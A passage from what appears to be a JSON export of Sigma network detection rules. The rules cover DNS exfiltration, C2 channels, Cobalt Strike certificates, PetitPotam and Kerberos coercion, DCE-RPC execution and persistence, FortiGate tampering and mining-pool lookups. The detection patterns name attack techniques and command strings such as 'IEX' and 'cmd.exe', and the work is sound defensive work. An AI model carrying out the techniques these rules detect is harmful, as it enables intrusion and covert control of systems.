"content": "title: Suspicious DNS Query with B64 Encoded String\nid: 4153a907-2451-4e4f-a578-c52bb6881432\nstatus: test\ndescription: Detects suspicious DNS queries using base64 encoding\nreferences:\n - https://github.com/krmaxwell/dns-exfiltration\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-05-10\nmodified: 2022-10-09\ntags:\n - attack.exfiltration\n - attack.t1048.003\n - attack.command-and-control\n - attack.t1071.004\nlogsource:\n category: dns\ndetection:\n selection:\n query|contains: '==.'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/network/dns/net_dns_susp_telegram_api.yml",
"content": "title: Telegram Bot API Request\nid: c64c5175-5189-431b-a55e-6d9882158251\nstatus: test\ndescription: Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind\nreferences:\n - https://core.telegram.org/bots/faq\n - https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/\n - https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/\n - https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-06-05\nmodified: 2022-10-09\ntags:\n - attack.command-and-control\n - attack.t1102.002\nlogsource:\n category: dns\ndetection:\n selection:\n query: 'api.telegram.org' # Telegram Bot API Request https://core.telegram.org/bots/faq\n condition: selection\nfalsepositives:\n - Legitimate use of Telegram bots in the company\nlevel: medium\n"
},
{
"path": "rules/network/dns/net_dns_susp_txt_exec_strings.yml",
"content": "title: DNS TXT Answer with Possible Execution Strings\nid: 8ae51330-899c-4641-8125-e39f2e07da72\nstatus: test\ndescription: Detects strings used in command execution in DNS TXT Answer\nreferences:\n - https://twitter.com/stvemillertime/status/1024707932447854592\n - https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1\nauthor: Markus Neis\ndate: 2018-08-08\nmodified: 2021-11-27\ntags:\n - attack.command-and-control\n - attack.t1071.004\nlogsource:\n category: dns\ndetection:\n selection:\n record_type: 'TXT'\n answer|contains:\n - 'IEX'\n - 'Invoke-Expression'\n - 'cmd.exe'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/network/dns/net_dns_wannacry_killswitch_domain.yml",
"content": "title: Wannacry Killswitch Domain\nid: 3eaf6218-3bed-4d8a-8707-274096f12a18\nstatus: test\ndescription: Detects wannacry killswitch domain dns queries\nreferences:\n - https://www.mandiant.com/resources/blog/wannacry-ransomware-campaign\nauthor: Mike Wade\ndate: 2020-09-16\nmodified: 2022-03-24\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: dns\ndetection:\n selection:\n query:\n - 'ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.testing'\n - 'ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.test'\n - 'ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com'\n - 'ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com'\n - 'iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com'\n condition: selection\nfalsepositives:\n - Analyst testing\nlevel: high\n"
},
{
"path": "rules/network/firewall/net_firewall_cleartext_protocols.yml",
"content": "title: Cleartext Protocol Usage\nid: d7fb8f0e-bd5f-45c2-b467-19571c490d7e\nstatus: stable\ndescription: |\n Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\n Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\nreferences:\n - https://www.cisecurity.org/controls/cis-controls-list/\n - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf\n - https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf\nauthor: Alexandr Yampolskyi, SOC Prime, Tim Shelton\ndate: 2019-03-26\nmodified: 2022-10-10\ntags:\n - attack.credential-access\n # - CSC4\n # - CSC4.5\n # - CSC14\n # - CSC14.4\n # - CSC16\n # - CSC16.5\n # - NIST CSF 1.1 PR.AT-2\n # - NIST CSF 1.1 PR.MA-2\n # - NIST CSF 1.1 PR.PT-3\n # - NIST CSF 1.1 PR.AC-1\n # - NIST CSF 1.1 PR.AC-4\n # - NIST CSF 1.1 PR.AC-5\n # - NIST CSF 1.1 PR.AC-6\n # - NIST CSF 1.1 PR.AC-7\n # - NIST CSF 1.1 PR.DS-1\n # - NIST CSF 1.1 PR.DS-2\n # - ISO 27002-2013 A.9.2.1\n # - ISO 27002-2013 A.9.2.2\n # - ISO 27002-2013 A.9.2.3\n # - ISO 27002-2013 A.9.2.4\n # - ISO 27002-2013 A.9.2.5\n # - ISO 27002-2013 A.9.2.6\n # - ISO 27002-2013 A.9.3.1\n # - ISO 27002-2013 A.9.4.1\n # - ISO 27002-2013 A.9.4.2\n # - ISO 27002-2013 A.9.4.3\n # - ISO 27002-2013 A.9.4.4\n # - ISO 27002-2013 A.8.3.1\n # - ISO 27002-2013 A.9.1.1\n # - ISO 27002-2013 A.10.1.1\n # - PCI DSS 3.2 2.1\n # - PCI DSS 3.2 8.1\n # - PCI DSS 3.2 8.2\n # - PCI DSS 3.2 8.3\n # - PCI DSS 3.2 8.7\n # - PCI DSS 3.2 8.8\n # - PCI DSS 3.2 1.3\n # - PCI DSS 3.2 1.4\n # - PCI DSS 3.2 4.3\n # - PCI DSS 3.2 7.1\n # - PCI DSS 3.2 7.2\n # - PCI DSS 3.2 7.3\nlogsource:\n category: firewall\ndetection:\n selection:\n dst_port:\n - 8080\n - 21\n - 80\n - 23\n - 50000\n - 1521\n - 27017\n - 3306\n - 1433\n - 11211\n - 15672\n - 5900\n - 5901\n - 5902\n - 5903\n - 5904\n selection_allow1:\n action:\n - forward\n - accept\n - 2\n selection_allow2:\n blocked: \"false\" # not all fws set action value, but are set to mark as blocked or allowed or not\n condition: selection and 1 of selection_allow*\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/network/fortinet/fortigate/fortinet_fortigate_new_admin_account_created.yml",
"content": "title: FortiGate - New Administrator Account Created\nid: cd0a4943-0edd-42cf-b50c-06f77a10d4c1\nstatus: experimental\ndescription: Detects the creation of an administrator account on a Fortinet FortiGate Firewall.\nreferences:\n - https://www.fortiguard.com/psirt/FG-IR-24-535\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/390485493/config-system-admin\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr\nauthor: Marco Pedrinazzi @pedrinazziM (InTheCyber)\ndate: 2025-11-01\ntags:\n - attack.persistence\n - attack.t1136.001\nlogsource:\n product: fortigate\n service: event\ndetection:\n selection:\n action: 'Add'\n cfgpath: 'system.admin'\n condition: selection\nfalsepositives:\n - An administrator account can be created for legitimate purposes. Investigate the account details to determine if it is authorized.\nlevel: medium\n"
},
{
"path": "rules/network/fortinet/fortigate/fortinet_fortigate_new_firewall_address_object.yml",
"content": "title: FortiGate - Firewall Address Object Added\nid: 5c8d7b41-3812-432f-a0bb-4cfb7c31827e\nstatus: experimental\ndescription: Detects the addition of firewall address objects on a Fortinet FortiGate Firewall.\nreferences:\n - https://www.fortiguard.com/psirt/FG-IR-24-535\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/306021697/config-firewall-address\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr\nauthor: Marco Pedrinazzi @pedrinazziM (InTheCyber)\ndate: 2025-11-01\ntags:\n - attack.defense-evasion\n - attack.t1562\nlogsource:\n product: fortigate\n service: event\ndetection:\n selection:\n action: 'Add'\n cfgpath: 'firewall.address'\n condition: selection\nfalsepositives:\n - An address could be added or deleted for legitimate purposes.\nlevel: medium\n"
},
{
"path": "rules/network/fortinet/fortigate/fortinet_fortigate_new_firewall_policy_added.yml",
"content": "title: FortiGate - New Firewall Policy Added\nid: f24ab7a8-f09a-4319-82c1-915586aa642b\nstatus: experimental\ndescription: Detects the addition of a new firewall policy on a Fortinet FortiGate Firewall.\nreferences:\n - https://www.fortiguard.com/psirt/FG-IR-24-535\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/333889629/config-firewall-policy\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr\nauthor: Marco Pedrinazzi @pedrinazziM (InTheCyber)\ndate: 2025-11-01\ntags:\n - attack.defense-evasion\n - attack.t1562\nlogsource:\n product: fortigate\n service: event\ndetection:\n selection:\n action: 'Add'\n cfgpath: 'firewall.policy'\n condition: selection\nfalsepositives:\n - A firewall policy can be added for legitimate purposes.\nlevel: medium\n"
},
{
"path": "rules/network/fortinet/fortigate/fortinet_fortigate_new_local_user_created.yml",
"content": "title: FortiGate - New Local User Created\nid: ddbbe845-1d74-43a8-8231-2156d180234d\nstatus: experimental\ndescription: |\n Detects the creation of a new local user on a Fortinet FortiGate Firewall.\n The new local user could be used for VPN connections.\nreferences:\n - https://www.fortiguard.com/psirt/FG-IR-24-535\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/109120963/config-user-local\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr\nauthor: Marco Pedrinazzi @pedrinazziM (InTheCyber)\ndate: 2025-11-01\ntags:\n - attack.persistence\n - attack.t1136.001\nlogsource:\n product: fortigate\n service: event\ndetection:\n selection:\n action: 'Add'\n cfgpath: 'user.local'\n condition: selection\nfalsepositives:\n - A local user can be created for legitimate purposes. Investigate the user details to determine if it is authorized.\nlevel: medium\n"
},
{
"path": "rules/network/fortinet/fortigate/fortinet_fortigate_new_vpn_ssl_web_portal.yml",
"content": "title: FortiGate - New VPN SSL Web Portal Added\nid: 2bfb6216-0c31-4d20-8501-2629b29a3fa2\nstatus: experimental\ndescription: |\n Detects the addition of a VPN SSL Web Portal on a Fortinet FortiGate Firewall.\n This behavior was observed in pair with modification of VPN SSL settings.\nreferences:\n - https://www.fortiguard.com/psirt/FG-IR-24-535\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/113121765/config-vpn-ssl-web-portal\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr\nauthor: Marco Pedrinazzi @pedrinazziM (InTheCyber)\ndate: 2025-11-01\ntags:\n - attack.persistence\n - attack.initial-access\n - attack.t1133\nlogsource:\n product: fortigate\n service: event\ndetection:\n selection:\n action: 'Add'\n cfgpath: 'vpn.ssl.web.portal'\n condition: selection\nfalsepositives:\n - A VPN SSL Web Portal can be added for legitimate purposes.\nlevel: medium\n"
},
{
"path": "rules/network/fortinet/fortigate/fortinet_fortigate_user_group_modified.yml",
"content": "title: FortiGate - User Group Modified\nid: 69ffc84e-8b1a-4024-8351-e018f66b8275\nstatus: experimental\ndescription: |\n Detects the modification of a user group on a Fortinet FortiGate Firewall.\n The group could be used to grant VPN access to a network.\nreferences:\n - https://www.fortiguard.com/psirt/FG-IR-24-535\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/328136827/config-user-group\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr\nauthor: Marco Pedrinazzi @pedrinazziM (InTheCyber)\ndate: 2025-11-01\ntags:\n - attack.persistence\n - attack.privilege-escalation\n # - attack.t1098.007\nlogsource:\n product: fortigate\n service: event\ndetection:\n selection:\n action: 'Edit'\n cfgpath: 'user.group'\n condition: selection\nfalsepositives:\n - A group can be modified for legitimate purposes.\nlevel: medium\n"
},
{
"path": "rules/network/fortinet/fortigate/fortinet_fortigate_vpn_ssl_settings_modified.yml",
"content": "title: FortiGate - VPN SSL Settings Modified\nid: 8b5dacf2-aeb7-459d-b133-678eb696d410\nstatus: experimental\ndescription: |\n Detects the modification of VPN SSL Settings (for example, the modification of authentication rules).\n This behavior was observed in pair with the addition of a VPN SSL Web Portal.\nreferences:\n - https://www.fortiguard.com/psirt/FG-IR-24-535\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event\n - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/114404382/config-vpn-ssl-settings\n - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44546/44546-logid-event-config-attr\nauthor: Marco Pedrinazzi @pedrinazziM (InTheCyber)\ndate: 2025-11-01\ntags:\n - attack.persistence\n - attack.initial-access\n - attack.t1133\nlogsource:\n product: fortigate\n service: event\ndetection:\n selection:\n action: 'Edit'\n cfgpath: 'vpn.ssl.settings'\n condition: selection\nfalsepositives:\n - VPN SSL settings can be changed for legitimate purposes.\nlevel: medium\n"
},
{
"path": "rules/network/huawei/bgp/huawei_bgp_auth_failed.yml",
"content": "title: Huawei BGP Authentication Failures\nid: a557ffe6-ac54-43d2-ae69-158027082350\nstatus: test\ndescription: Detects BGP failures which may be indicative of brute force attacks to manipulate routing.\nreferences:\n - https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf\nauthor: Tim Brown\ndate: 2023-01-09\nmodified: 2023-01-23\ntags:\n - attack.initial-access\n - attack.persistence\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.credential-access\n - attack.collection\n - attack.t1078\n - attack.t1110\n - attack.t1557\nlogsource:\n product: huawei\n service: bgp\n definition: 'Requirements: huawei bgp logs need to be enabled and ingested'\ndetection:\n keywords_bgp_huawei:\n '|all':\n - ':179' # Protocol\n - 'BGP_AUTH_FAILED'\n condition: keywords_bgp_huawei\nfalsepositives:\n - Unlikely. Except due to misconfigurations\nlevel: low\n"
},
{
"path": "rules/network/juniper/bgp/juniper_bgp_missing_md5.yml",
"content": "title: Juniper BGP Missing MD5\nid: a7c0ae48-8df8-42bf-91bd-2ea57e2f9d43\nstatus: test\ndescription: Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.\nreferences:\n - https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf\nauthor: Tim Brown\ndate: 2023-01-09\nmodified: 2023-01-23\ntags:\n - attack.initial-access\n - attack.persistence\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.credential-access\n - attack.collection\n - attack.t1078\n - attack.t1110\n - attack.t1557\nlogsource:\n product: juniper\n service: bgp\n definition: 'Requirements: juniper bgp logs need to be enabled and ingested'\ndetection:\n keywords_bgp_juniper:\n '|all':\n - ':179' # Protocol\n - 'missing MD5 digest'\n condition: keywords_bgp_juniper\nfalsepositives:\n - Unlikely. Except due to misconfigurations\nlevel: low\n"
},
{
"path": "rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml",
"content": "title: MITRE BZAR Indicators for Execution\nid: b640c0b8-87f8-4daa-aef8-95a24261dd1d\nstatus: test\ndescription: 'Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE'\nreferences:\n - https://github.com/mitre-attack/bzar#indicators-for-attck-execution\nauthor: '@neu5ron, SOC Prime'\ndate: 2020-03-19\nmodified: 2021-11-27\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.execution\n - attack.t1047\n - attack.t1053.002\n - attack.t1569.002\nlogsource:\n product: zeek\n service: dce_rpc\ndetection:\n op1:\n endpoint: 'JobAdd'\n operation: 'atsvc'\n op2:\n endpoint: 'ITaskSchedulerService'\n operation: 'SchRpcEnableTask'\n op3:\n endpoint: 'ITaskSchedulerService'\n operation: 'SchRpcRegisterTask'\n op4:\n endpoint: 'ITaskSchedulerService'\n operation: 'SchRpcRun'\n op5:\n endpoint: 'IWbemServices'\n operation: 'ExecMethod'\n op6:\n endpoint: 'IWbemServices'\n operation: 'ExecMethodAsync'\n op7:\n endpoint: 'svcctl'\n operation: 'CreateServiceA'\n op8:\n endpoint: 'svcctl'\n operation: 'CreateServiceW'\n op9:\n endpoint: 'svcctl'\n operation: 'StartServiceA'\n op10:\n endpoint: 'svcctl'\n operation: 'StartServiceW'\n condition: 1 of op*\nfalsepositives:\n - Windows administrator tasks or troubleshooting\n - Windows management scripts or software\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml",
"content": "title: MITRE BZAR Indicators for Persistence\nid: 53389db6-ba46-48e3-a94c-e0f2cefe1583\nstatus: test\ndescription: 'Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.'\nreferences:\n - https://github.com/mitre-attack/bzar#indicators-for-attck-persistence\nauthor: '@neu5ron, SOC Prime'\ndate: 2020-03-19\nmodified: 2021-11-27\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1547.004\nlogsource:\n product: zeek\n service: dce_rpc\ndetection:\n op1:\n endpoint: 'spoolss'\n operation: 'RpcAddMonitor'\n op2:\n endpoint: 'spoolss'\n operation: 'RpcAddPrintProcessor'\n op3:\n endpoint: 'IRemoteWinspool'\n operation: 'RpcAsyncAddMonitor'\n op4:\n endpoint: 'IRemoteWinspool'\n operation: 'RpcAsyncAddPrintProcessor'\n op5:\n endpoint: 'ISecLogon'\n operation: 'SeclCreateProcessWithLogonW'\n op6:\n endpoint: 'ISecLogon'\n operation: 'SeclCreateProcessWithLogonExW'\n condition: 1 of op*\nfalsepositives:\n - Windows administrator tasks or troubleshooting\n - Windows management scripts or software\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml",
"content": "title: Potential PetitPotam Attack Via EFS RPC Calls\nid: 4096842a-8f9f-4d36-92b4-d0b2a62f9b2a\nstatus: test\ndescription: |\n Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\n The usage of this RPC function should be rare if ever used at all.\n Thus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\nreferences:\n - https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp\n - https://msrc.microsoft.com/update-guide/vulnerability/ADV210003\n - https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf\n - https://threatpost.com/microsoft-petitpotam-poc/168163/\nauthor: '@neu5ron, @Antonlovesdnb, Mike Remen'\ndate: 2021-08-17\nmodified: 2022-11-28\ntags:\n - attack.collection\n - attack.credential-access\n - attack.t1557.001\n - attack.t1187\nlogsource:\n product: zeek\n service: dce_rpc\ndetection:\n selection:\n operation|startswith: 'efs'\n condition: selection\nfalsepositives:\n - Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description).\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml",
"content": "title: SMB Spoolss Name Piped Usage\nid: bae2865c-5565-470d-b505-9496c87d0c30\nstatus: test\ndescription: Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.\nreferences:\n - https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1\n - https://dirkjanm.io/a-different-way-of-abusing-zerologon/\n - https://twitter.com/_dirkjan/status/1309214379003588608\nauthor: OTR (Open Threat Research), @neu5ron\ndate: 2018-11-28\nmodified: 2022-10-09\ntags:\n - attack.lateral-movement\n - attack.t1021.002\nlogsource:\n product: zeek\n service: smb_files\ndetection:\n selection:\n path|endswith: 'IPC$'\n name: spoolss\n condition: selection\nfalsepositives:\n - Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_default_cobalt_strike_certificate.yml",
"content": "title: Default Cobalt Strike Certificate\nid: 7100f7e3-92ce-4584-b7b7-01b40d3d4118\nstatus: test\ndescription: Detects the presence of default Cobalt Strike certificate in the HTTPS traffic\nreferences:\n - https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468\nauthor: Bhabesh Raj\ndate: 2021-06-23\nmodified: 2022-10-09\ntags:\n - attack.command-and-control\n - attack.s0154\nlogsource:\n product: zeek\n service: x509\ndetection:\n selection:\n certificate.serial: 8BB00EE\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/network/zeek/zeek_dns_kerberos_coercion_via_dns_object_spn_spoofing.yml",
"content": "title: Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network\nid: 5588576c-5898-4fac-bcdd-7475a60e8f43\nrelated:\n - id: b07e58cf-cacc-4135-8473-ccb2eba63dd2 # Potential Kerberos Coercion via DNS Object Spoofing\n type: similar\n - id: e7a21b5f-d8c4-4ae5-b8d9-93c5d3f28e1c # Suspicious DNS Query Indicating Kerberos Coercion via DNS Object Spoofing\n type: similar\nstatus: experimental\ndescription: |\n Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing.\n The pattern \"1UWhRCAAAAA..BAAAA\" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure.\n Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts.\n It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records\n to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.\nreferences:\n - https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025\n - https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\ndate: 2025-06-20\ntags:\n - attack.collection\n - attack.credential-access\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1557.001\n - attack.t1187\nlogsource:\n product: zeek\n service: dns\ndetection:\n selection:\n query|contains|all:\n - 'UWhRCA' # Follows this pattern UWhRCAAAAA..BAAA\n - 'BAAAA'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/network/zeek/zeek_dns_mining_pools.yml",
"content": "title: DNS Events Related To Mining Pools\nid: bf74135c-18e8-4a72-a926-0e4f47888c19\nstatus: test\ndescription: Identifies clients that may be performing DNS lookups associated with common currency mining pools.\nreferences:\n - https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml\nauthor: Saw Winn Naung, Azure-Sentinel, @neu5ron\ndate: 2021-08-19\nmodified: 2022-07-07\ntags:\n - attack.execution\n - attack.t1569.002\n - attack.impact\n - attack.t1496\nlogsource:\n service: dns\n product: zeek\ndetection:\n selection:\n query|endswith:\n - 'monerohash.com'\n - 'do-dear.com'\n - 'xmrminerpro.com'\n - 'secumine.net'\n - 'xmrpool.com'\n - 'minexmr.org'\n - 'hashanywhere.com'\n - 'xmrget.com'\n - 'mininglottery.eu'\n - 'minergate.com'\n - 'moriaxmr.com'\n - 'multipooler.com'\n - 'moneropools.com'\n - 'xmrpool.eu'\n - 'coolmining.club'\n - 'supportxmr.com'\n - 'minexmr.com'\n - 'hashvault.pro'\n - 'xmrpool.net'\n - 'crypto-pool.fr'\n - 'xmr.pt'\n - 'miner.rocks'\n - 'walpool.com'\n - 'herominers.com'\n - 'gntl.co.uk'\n - 'semipool.com'\n - 'coinfoundry.org'\n - 'cryptoknight.cc'\n - 'fairhash.org'\n - 'baikalmine.com'\n - 'tubepool.xyz'\n - 'fairpool.xyz'\n - 'asiapool.io'\n - 'coinpoolit.webhop.me'\n - 'nanopool.org'\n - 'moneropool.com'\n - 'miner.center'\n - 'prohash.net'\n - 'poolto.be'\n - 'cryptoescrow.eu'\n - 'monerominers.net'\n - 'cryptonotepool.org'\n - 'extrmepool.org'\n - 'webcoin.me'\n - 'kippo.eu'\n - 'hashinvest.ws'\n - 'monero.farm'\n - 'linux-repository-updates.com'\n - '1gh.com'\n - 'dwarfpool.com'\n - 'hash-to-coins.com'\n - 'pool-proxy.com'\n - 'hashfor.cash'\n - 'fairpool.cloud'\n - 'litecoinpool.org'\n - 'mineshaft.ml'\n - 'abcxyz.stream'\n - 'moneropool.ru'\n - 'cryptonotepool.org.uk'\n - 'extremepool.org'\n - 'extremehash.com'\n - 'hashinvest.net'\n - 'unipool.pro'\n - 'crypto-pools.org'\n - 'monero.net'\n - 'backup-pool.com'\n - 'mooo.com' # Dynamic DNS, may want to exclude\n - 'freeyy.me'\n - 'cryptonight.net'\n - 'shscrypto.net'\n exclude_answers:\n answers:\n - '127.0.0.1'\n - '0.0.0.0'\n exclude_rejected:\n rejected: 'true'\n condition: selection and not 1 of exclude_*\nfalsepositives:\n - A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'.\nlevel: low\n"
},
{
"path": "rules/network/zeek/zeek_dns_nkn.yml",
"content": "title: New Kind of Network (NKN) Detection\nid: fa7703d6-0ee8-4949-889c-48c84bc15b6f\nstatus: test\ndescription: NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>\nreferences:\n - https://github.com/nknorg/nkn-sdk-go\n - https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/\n - https://github.com/Maka8ka/NGLite\nauthor: Michael Portera (@mportatoes)\ndate: 2022-04-21\ntags:\n - attack.command-and-control\nlogsource:\n product: zeek\n service: dns\ndetection:\n selection:\n query|contains|all:\n - 'seed'\n - '.nkn.org'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/network/zeek/zeek_dns_susp_zbit_flag.yml",
"content": "title: Suspicious DNS Z Flag Bit Set\nid: ede05abc-2c9e-4624-9944-9ff17fdc0bf5\nstatus: test\ndescription: |\n The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\n Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\n Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\n Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\n This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\nreferences:\n - https://twitter.com/neu5ron/status/1346245602502443009\n - https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma\n - https://tools.ietf.org/html/rfc2929#section-2.1\n - https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS\nauthor: '@neu5ron, SOC Prime Team, Corelight'\ndate: 2021-05-04\nmodified: 2022-11-29\ntags:\n - attack.t1095\n - attack.t1571\n - attack.command-and-control\nlogsource:\n product: zeek\n service: dns\ndetection:\n z_flag_unset:\n Z: 0\n most_probable_valid_domain:\n query|contains: '.'\n exclude_tlds:\n query|endswith:\n - '.arpa'\n - '.local'\n - '.ultradns.net'\n - '.twtrdns.net'\n - '.azuredns-prd.info'\n - '.azure-dns.com'\n - '.azuredns-ff.info'\n - '.azuredns-ff.org'\n - '.azuregov-dns.org'\n exclude_query_types:\n qtype_name:\n - 'ns'\n - 'mx'\n exclude_responses:\n answers|endswith: '\\\\x00'\n exclude_netbios:\n id.resp_p:\n - 137\n - 138\n - 139\n condition: not z_flag_unset and most_probable_valid_domain and not (exclude_tlds or exclude_query_types or exclude_responses or exclude_netbios)\nfalsepositives:\n - 'Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.'\n - 'If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"'\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_dns_torproxy.yml",
